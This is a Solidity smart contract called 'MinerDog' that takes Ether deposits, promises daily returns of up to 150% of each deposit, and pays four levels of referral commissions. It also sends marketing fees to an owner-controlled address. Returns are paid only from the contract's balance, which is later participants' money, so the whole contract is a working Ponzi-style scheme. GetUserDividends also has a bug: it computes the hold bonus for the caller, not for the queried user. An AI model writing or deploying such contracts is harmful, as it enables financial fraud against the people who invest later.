pragma solidity 0.5.9;
contract MinerDog {
	using SafeMath for uint256;
	
	uint256 constant public MinimumInvest = 10**18/100;
	uint256 constant public MarketingFee = 700;
	uint256[] public ReferralCommissions = [500, 200, 50, 50];
	uint256 constant public Day = 1 days;
	uint256 constant public ROICap = 15000;
	uint256 constant public PercentDiv = 10000;
	uint256 constant public ContractIncreaseEach = 45 * 10**18;
	uint256 constant public StartBonus = 200;
	uint256 constant public ContractBonusCap = 700;
	uint256 constant public HoldBonusCap = 100;
	
	uint256 public TotalInvestors;
	uint256 public TotalInvested;
	uint256 public TotalWithdrawn;
	uint256 public TotalDepositCount;
	uint256 public CurrentBonus;
	
	address payable public MarketingFeeAddress;
	struct Deposit {
		uint256 amount;
		uint256 withdrawn;
		uint256 start;
	}
	
	struct Commissions {
		address Downline;
		uint256 Earned;
		uint256 Invested;
		uint256 Level;
		uint256 DepositTime;
	}
	
	struct User {
		Deposit[] deposits;
		Commissions[] commissions;
		uint256 checkpoint;
		address upline;
		uint256 totalinvested;
		uint256 totalwithdrawn;
		uint256 totalcommisions;
		uint256 lvlonecommisions;
		uint256 lvltwocommisions;
		uint256 lvlthreecommisions;
		uint256 lvlfourcommisions;
		uint256 availablecommisions;
	}
	
	mapping (address =>User)   internal users;
	
	event ReferralBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
	event NewDeposit(address indexed user, uint256 amount);
	event Withdrawal(address indexed user, uint256 amount);
	
	constructor(address payable MarketingAddress) public {
		require(!isContract(MarketingAddress));
		MarketingFeeAddress = MarketingAddress;
		CurrentBonus = StartBonus;
	}
	
	function Invest(address InvestorUpline) public payable {
		require(msg.value >= MinimumInvest);
		MarketingFeeAddress.transfer(msg.value.mul(MarketingFee).div(PercentDiv));
		
		User storage user = users[msg.sender];
		
		if (user.upline == address(0) &&users[InvestorUpline].deposits.length >0 &&InvestorUpline != msg.sender) {
			user.upline = InvestorUpline;
		}
		
		if (user.upline != address(0)) {
			address upline = user.upline;
			for (uint256 i = 0; i <4; i++) {
				if (upline != address(0)) {
					uint256 amount = msg.value.mul(ReferralCommissions[i]).div(PercentDiv);
					users[upline].totalcommisions = users[upline].totalcommisions.add(amount);
					users[upline].availablecommisions = users[upline].availablecommisions.add(amount);
					
					if(i == 0){
						users[upline].lvlonecommisions = users[upline].lvlonecommisions.add(amount);
					}
					if(i == 1){
						users[upline].lvltwocommisions = users[upline].lvltwocommisions.add(amount);
					}
					if(i == 2){
						users[upline].lvlthreecommisions = users[upline].lvlthreecommisions.add(amount);
					}
					if(i == 3){
						users[upline].lvlfourcommisions = users[upline].lvlfourcommisions.add(amount);
					}
					users[upline].commissions.push(Commissions(msg.sender, amount, msg.value, i, block.timestamp));
					emit ReferralBonus(upline, msg.sender, i, amount);
					upline = users[upline].upline;
				} else break;
			}
		}
		if (user.upline == address(0)) {
			uint256 advertise = 800;
			MarketingFeeAddress.transfer(msg.value.mul(advertise).div(PercentDiv));
		}
		if (user.deposits.length == 0) {
			user.checkpoint = block.timestamp;
			TotalInvestors = TotalInvestors.add(1);
		}
		user.deposits.push(Deposit(msg.value, 0, block.timestamp));
		user.totalinvested = user.totalinvested.add(msg.value);
		TotalDepositCount = TotalDepositCount.add(1);
		TotalInvested = TotalInvested.add(msg.value);
		UpdateContractBonus();
		emit NewDeposit(msg.sender, msg.value);
	}
	
	function WithdrawCommissions() public {
		User storage user = users[msg.sender];
		uint256 contractBalance = address(this).balance;
		uint256 toSend;
		require(user.availablecommisions >0, "No commissions available");
		if (contractBalance <user.availablecommisions) {
			toSend = contractBalance;
			user.availablecommisions = user.availablecommisions.sub(toSend);
		}else{
			toSend = user.availablecommisions;
			user.availablecommisions = 0;
		}
		
		msg.sender.transfer(toSend);
		TotalWithdrawn = TotalWithdrawn.add(toSend);
		
		emit Withdrawal(msg.sender, toSend);
	}
	
	function WithdrawDividends() public {
		User storage user = users[msg.sender];
		uint256 userPercentRate = CurrentBonus.add(GetHoldBonus(msg.sender));
		uint256 toSend;
		uint256 dividends;
		uint256 ResetHoldBonus;
		for (uint256 i = 0; i <user.deposits.length; i++) {
			if (user.deposits[i].withdrawn <((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
				if (user.deposits[i].start >user.checkpoint) {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.deposits[i].start))
						.div(Day);
					ResetHoldBonus = ResetHoldBonus.add(1);
				} else {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.checkpoint))
						.div(Day);
					ResetHoldBonus = ResetHoldBonus.add(1);
				}
				if (user.deposits[i].withdrawn.add(dividends) >= ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
					dividends = (((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))).sub(user.deposits[i].withdrawn);
					ResetHoldBonus = 0;
				}
				user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends);
				toSend = toSend.add(dividends);
			}
		}
		require(toSend >0, "No dividends available");
		uint256 contractBalance = address(this).balance;
		if (contractBalance <toSend) {
			toSend = contractBalance;
		}
		if(ResetHoldBonus != 0){
			user.checkpoint = block.timestamp;
		}
		msg.sender.transfer(toSend);
		TotalWithdrawn = TotalWithdrawn.add(toSend);
		user.totalwithdrawn = user.totalwithdrawn.add(toSend);
		emit Withdrawal(msg.sender, toSend);
	}
	
	function GetUserDividends(address userAddress) public view returns (uint256) {
		User storage user = users[userAddress];
		uint256 userPercentRate = CurrentBonus.add(GetHoldBonus(msg.sender));
		uint256 totalDividends;
		uint256 dividends;
		for (uint256 i = 0; i <user.deposits.length; i++) {
			if (user.deposits[i].withdrawn <((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
				if (user.deposits[i].start >user.checkpoint) {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.deposits[i].start))
						.div(Day);
				} else {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.checkpoint))
						.div(Day);
				}
				if (user.deposits[i].withdrawn.add(dividends) >((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
					dividends = ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv)).sub(user.deposits[i].withdrawn);
				}
				totalDividends = totalDividends.add(dividends);
			}
		}
		return totalDividends;
	}
	
	function ActiveClient(address userAddress) public view returns (bool) {
		User storage user = users[userAddress];
		if (user.deposits.length >0) {
			if (user.deposits[user.deposits.length-1].withdrawn <((user.deposits[user.deposits.length-1].amount.mul(ROICap)).div(PercentDiv))) {
				return true;
			}
		}
	}
	
	function UpdateContractBonus() internal {
		uint256 contractBalancePercent = (TotalInvested.div(ContractIncreaseEach)).mul(5);
		if(contractBalancePercent >ContractBonusCap){
			contractBalancePercent = ContractBonusCap;
		}
		CurrentBonus = StartBonus.add(contractBalancePercent);
	}
	
    function GetHoldBonus(address userAddress) public view returns (uint256) {
        User storage user = users[userAddress];
        if (user.checkpoint >0) {
            uint256 timeMultiplier = ((now.sub(user.checkpoint)).div(Day)).mul(10);
            if(timeMultiplier >HoldBonusCap){
                timeMultiplier = HoldBonusCap;
            }
            return timeMultiplier;
        }else{
            return 0;
        }
    }
	
	function GetTotalCommission(address userAddress) public view returns(uint256) {
	    User storage user = users[userAddress];
		return (user.commissions.length);
	}
	function GetUserCommission(address userAddress, uint256 index) public view returns(address, uint256, uint256, uint256, uint256) {
	    User storage user = users[userAddress];
		return (user.commissions[index].Downline, user.commissions[index].Earned, user.commissions[index].Invested, user.commissions[index].Level, user.commissions[index].DepositTime);
	}
	function GetUserData(address userAddress) public view returns(address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
	    User storage user = users[userAddress];
		return (user.upline, user.totalinvested, user.totalwithdrawn, user.totalcommisions, user.lvlonecommisions, user.lvltwocommisions, user.lvlthreecommisions, user.lvlfourcommisions, user.availablecommisions, user.checkpoint);
	}
	
	function GetUserTotalDeposits(address userAddress) public view returns(uint256) {
		return users[userAddress].deposits.length;
	}
	
	function GetUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
	    User storage user = users[userAddress];
		return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
	}
	
	function GetContractBalance() public view returns (uint256) {
		return address(this).balance;
	}
	
	function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size >0;
    }
}
library SafeMath {
	
	function fxpMul(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) {
		return div(mul(a, b), base);
	}
		
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}
	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b <= a, "SafeMath: subtraction overflow");
		uint256 c = a - b;
		return c;
	}
	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}
	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b >0, "SafeMath: division by zero");
		uint256 c = a / b;
		return c;
	}
}